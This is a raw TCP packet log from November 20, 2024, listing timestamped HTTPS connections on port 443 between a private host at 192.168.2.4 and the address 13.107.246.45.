Nov 20, 2024 12:58:32.161375046 CET	443	49826	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.173537016 CET	443	49824	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.173865080 CET	49824	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.173890114 CET	443	49824	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.174185038 CET	49824	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.174190044 CET	443	49824	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.240963936 CET	443	49825	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.241043091 CET	443	49825	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.241115093 CET	49825	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.241379976 CET	49825	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.241401911 CET	443	49825	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.241416931 CET	49825	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.241424084 CET	443	49825	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.244815111 CET	49829	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.244863033 CET	443	49829	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.244950056 CET	49829	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.245245934 CET	49829	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.245260954 CET	443	49829	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.259026051 CET	443	49827	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.259130955 CET	443	49827	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.259212017 CET	49827	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.259964943 CET	49827	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.259985924 CET	443	49827	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.259996891 CET	49827	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.260003090 CET	443	49827	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.263423920 CET	443	49826	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.263492107 CET	443	49826	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.263540983 CET	49826	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.264990091 CET	49830	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.265038013 CET	443	49830	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.265096903 CET	49830	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.265552998 CET	49826	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.265568018 CET	443	49826	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.267720938 CET	443	49828	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.268763065 CET	49828	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.268780947 CET	443	49828	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.269972086 CET	49828	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.269984961 CET	443	49828	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.270653963 CET	49830	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.270669937 CET	443	49830	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.274764061 CET	49831	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.274794102 CET	443	49831	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.274863958 CET	49831	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.275444031 CET	49831	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.275458097 CET	443	49831	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.283397913 CET	443	49824	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.283468008 CET	443	49824	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.283521891 CET	49824	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.287961006 CET	49824	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.287978888 CET	443	49824	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.287990093 CET	49824	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.287995100 CET	443	49824	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.291805029 CET	49832	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.291851997 CET	443	49832	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.291923046 CET	49832	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.292103052 CET	49832	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.292120934 CET	443	49832	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.379630089 CET	443	49828	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.379709959 CET	443	49828	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.379777908 CET	49828	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.380054951 CET	49828	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.380079985 CET	443	49828	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.380326033 CET	49828	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.380335093 CET	443	49828	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.383230925 CET	49833	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.383275986 CET	443	49833	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.383374929 CET	49833	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.383655071 CET	49833	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.383675098 CET	443	49833	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.893146992 CET	443	49829	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.893922091 CET	49829	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.894002914 CET	443	49829	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.894301891 CET	49829	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.894316912 CET	443	49829	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.921942949 CET	443	49830	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.922635078 CET	49830	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.922661066 CET	443	49830	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.923017979 CET	49830	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.923023939 CET	443	49830	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.940740108 CET	443	49832	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.941261053 CET	49832	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.941317081 CET	443	49832	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.941864967 CET	49832	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.941879988 CET	443	49832	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.975521088 CET	443	49831	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.976104021 CET	49831	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.976182938 CET	443	49831	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.976546049 CET	49831	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.976561069 CET	443	49831	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.001369953 CET	443	49829	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.001540899 CET	443	49829	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.001657963 CET	49829	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.001790047 CET	49829	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.001831055 CET	443	49829	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.001857996 CET	49829	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.001873970 CET	443	49829	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.005177975 CET	49834	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.005268097 CET	443	49834	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.005378008 CET	49834	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.005574942 CET	49834	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.005601883 CET	443	49834	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.020833969 CET	443	49830	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.021006107 CET	443	49830	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.021306992 CET	49830	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.021357059 CET	49830	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.021357059 CET	49830	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.021384001 CET	443	49830	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.021399021 CET	443	49830	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.023922920 CET	49835	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.023967981 CET	443	49835	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.024055958 CET	49835	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.024246931 CET	49835	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.024261951 CET	443	49835	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.035008907 CET	443	49833	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.035455942 CET	49833	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.035470963 CET	443	49833	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.035851002 CET	49833	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.035856009 CET	443	49833	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.045542955 CET	443	49832	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.045634985 CET	443	49832	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.045715094 CET	49832	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.045800924 CET	49832	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.045800924 CET	49832	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.045845985 CET	443	49832	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.045880079 CET	443	49832	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.048181057 CET	49836	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.048217058 CET	443	49836	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.048289061 CET	49836	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.048432112 CET	49836	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.048444033 CET	443	49836	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.128655910 CET	443	49831	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.128753901 CET	443	49831	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.128837109 CET	49831	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.129040956 CET	49831	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.129071951 CET	443	49831	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.129106045 CET	49831	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.129120111 CET	443	49831	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.132251024 CET	49837	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.132340908 CET	443	49837	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.132442951 CET	49837	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.132677078 CET	49837	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.132714033 CET	443	49837	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.143436909 CET	443	49833	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.143533945 CET	443	49833	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.143610001 CET	49833	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.143752098 CET	49833	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.143762112 CET	443	49833	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.143774033 CET	49833	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.143779039 CET	443	49833	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.146482944 CET	49838	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.146516085 CET	443	49838	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.146601915 CET	49838	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.146806955 CET	49838	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.146821976 CET	443	49838	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.653060913 CET	443	49834	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.653583050 CET	49834	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.653604031 CET	443	49834	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.654118061 CET	49834	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.654130936 CET	443	49834	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.683144093 CET	443	49835	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.683577061 CET	49835	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.683639050 CET	443	49835	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.683996916 CET	49835	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.684010983 CET	443	49835	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.704308987 CET	443	49836	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.704724073 CET	49836	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.704751968 CET	443	49836	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.705130100 CET	49836	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.705136061 CET	443	49836	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.753176928 CET	443	49834	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.753326893 CET	443	49834	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.753403902 CET	49834	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.753480911 CET	49834	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.753523111 CET	443	49834	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.753551960 CET	49834	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.753567934 CET	443	49834	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.756149054 CET	49839	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.756186962 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.756274939 CET	49839	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.756395102 CET	49839	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.756403923 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.787126064 CET	443	49835	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.787277937 CET	443	49835	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.787343025 CET	49835	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.787395954 CET	49835	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.787395954 CET	49835	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.787431955 CET	443	49835	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.787453890 CET	443	49835	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.789742947 CET	49840	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.789789915 CET	443	49840	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.789871931 CET	49840	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.790110111 CET	49840	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.790138960 CET	443	49840	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.806591988 CET	443	49838	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.806934118 CET	49838	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.806952953 CET	443	49838	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.807341099 CET	49838	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.807348967 CET	443	49838	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.809437037 CET	443	49836	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.809513092 CET	443	49836	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.809554100 CET	49836	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.809681892 CET	49836	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.809694052 CET	443	49836	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.809705019 CET	49836	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.809710979 CET	443	49836	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.811331987 CET	443	49837	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.812012911 CET	49841	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.812093973 CET	443	49841	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.812165022 CET	49841	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.812422037 CET	49837	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.812469959 CET	443	49837	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.812870026 CET	49837	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.812884092 CET	443	49837	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.812901974 CET	49841	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.812938929 CET	443	49841	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.925304890 CET	443	49837	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.925403118 CET	443	49837	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.925491095 CET	49837	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.925723076 CET	49837	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.925774097 CET	443	49837	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.925805092 CET	49837	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.925822973 CET	443	49837	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.928705931 CET	49842	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.928762913 CET	443	49842	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.928874969 CET	49842	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.929040909 CET	49842	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.929058075 CET	443	49842	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.942806959 CET	443	49838	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.942873955 CET	443	49838	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.942951918 CET	49838	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.943080902 CET	49838	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.943099976 CET	443	49838	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.943110943 CET	49838	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.943116903 CET	443	49838	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.945899963 CET	49843	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.945955992 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:33.946050882 CET	49843	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.946196079 CET	49843	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:33.946208000 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.401556015 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.402024984 CET	49839	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.402086973 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.402499914 CET	49839	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.402518034 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.433119059 CET	443	49840	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.433600903 CET	49840	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.433669090 CET	443	49840	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.434072971 CET	49840	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.434087038 CET	443	49840	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.463095903 CET	443	49841	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.463529110 CET	49841	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.463597059 CET	443	49841	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.463979959 CET	49841	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.463993073 CET	443	49841	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.506740093 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.506763935 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.506817102 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.506880999 CET	49839	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.506881952 CET	49839	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.507097006 CET	49839	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.507143974 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.507180929 CET	49839	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.507198095 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.510165930 CET	49844	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.510216951 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.510308027 CET	49844	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.510497093 CET	49844	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.510529041 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.533720016 CET	443	49840	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.533792019 CET	443	49840	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.533850908 CET	49840	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.534027100 CET	49840	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.534028053 CET	49840	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.534064054 CET	443	49840	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.534085989 CET	443	49840	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.536478043 CET	49845	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.536516905 CET	443	49845	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.536593914 CET	49845	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.536731958 CET	49845	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.536745071 CET	443	49845	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.564693928 CET	443	49841	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.564768076 CET	443	49841	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.564830065 CET	49841	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.564930916 CET	49841	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.564930916 CET	49841	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.564990997 CET	443	49841	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.565016031 CET	443	49841	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.567137957 CET	49846	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.567186117 CET	443	49846	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.567279100 CET	49846	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.567413092 CET	49846	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.567442894 CET	443	49846	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.570811033 CET	443	49842	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.571170092 CET	49842	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.571202993 CET	443	49842	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.571608067 CET	49842	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.571620941 CET	443	49842	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.605998993 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.606518984 CET	49843	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.606543064 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.606987000 CET	49843	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.606997967 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.852303982 CET	443	49842	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.852323055 CET	443	49842	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.852468967 CET	443	49842	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.852514029 CET	49842	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.852535963 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.852567911 CET	49842	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.852576971 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.852663994 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.852771997 CET	49843	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.852771997 CET	49843	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.852869034 CET	49842	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.852891922 CET	49843	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.852912903 CET	443	49842	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.852920055 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.852936983 CET	49843	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.852942944 CET	49842	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.852943897 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.852961063 CET	443	49842	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.855767965 CET	49847	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.855812073 CET	443	49847	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.855827093 CET	49848	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.855879068 CET	49847	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.855921030 CET	443	49848	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.855994940 CET	49848	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.856050968 CET	49847	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.856065035 CET	443	49847	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:34.856117010 CET	49848	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:34.856148005 CET	443	49848	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.153964996 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.154731989 CET	49844	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.154762030 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.155422926 CET	49844	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.155427933 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.184400082 CET	443	49845	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.185087919 CET	49845	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.185106993 CET	443	49845	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.185766935 CET	49845	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.185771942 CET	443	49845	13.107.246.45	192.168.2.4
